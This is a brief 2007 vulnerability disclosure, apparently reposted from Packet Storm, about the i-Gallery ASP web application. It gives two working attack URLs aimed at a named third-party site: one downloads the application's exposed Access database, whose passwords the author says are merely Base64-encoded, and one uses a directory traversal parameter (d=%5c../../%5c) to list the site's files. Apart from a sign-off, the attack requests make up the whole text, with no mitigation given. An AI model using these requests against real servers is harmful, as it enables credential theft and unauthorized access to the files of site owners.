Home / vulnerabilities igal-disclose.txt
Posted on 26 October 2007
Source : packetstormsecurity.org Link
we can find file mdb of i-Gallery by link:
http://www.hkp.com/igallery/database/igallery.mdb
and can crack password on file igallery.mdb! because password is Base64!
--------------------
with link :
http://www.hkp.com/gallery/igallery.asp?d=%5c../../%5c
we can view file on folder of site!
--------------------
hackerbinhphuoc (VHS) Vietnam
http://www.vnsecurity.com
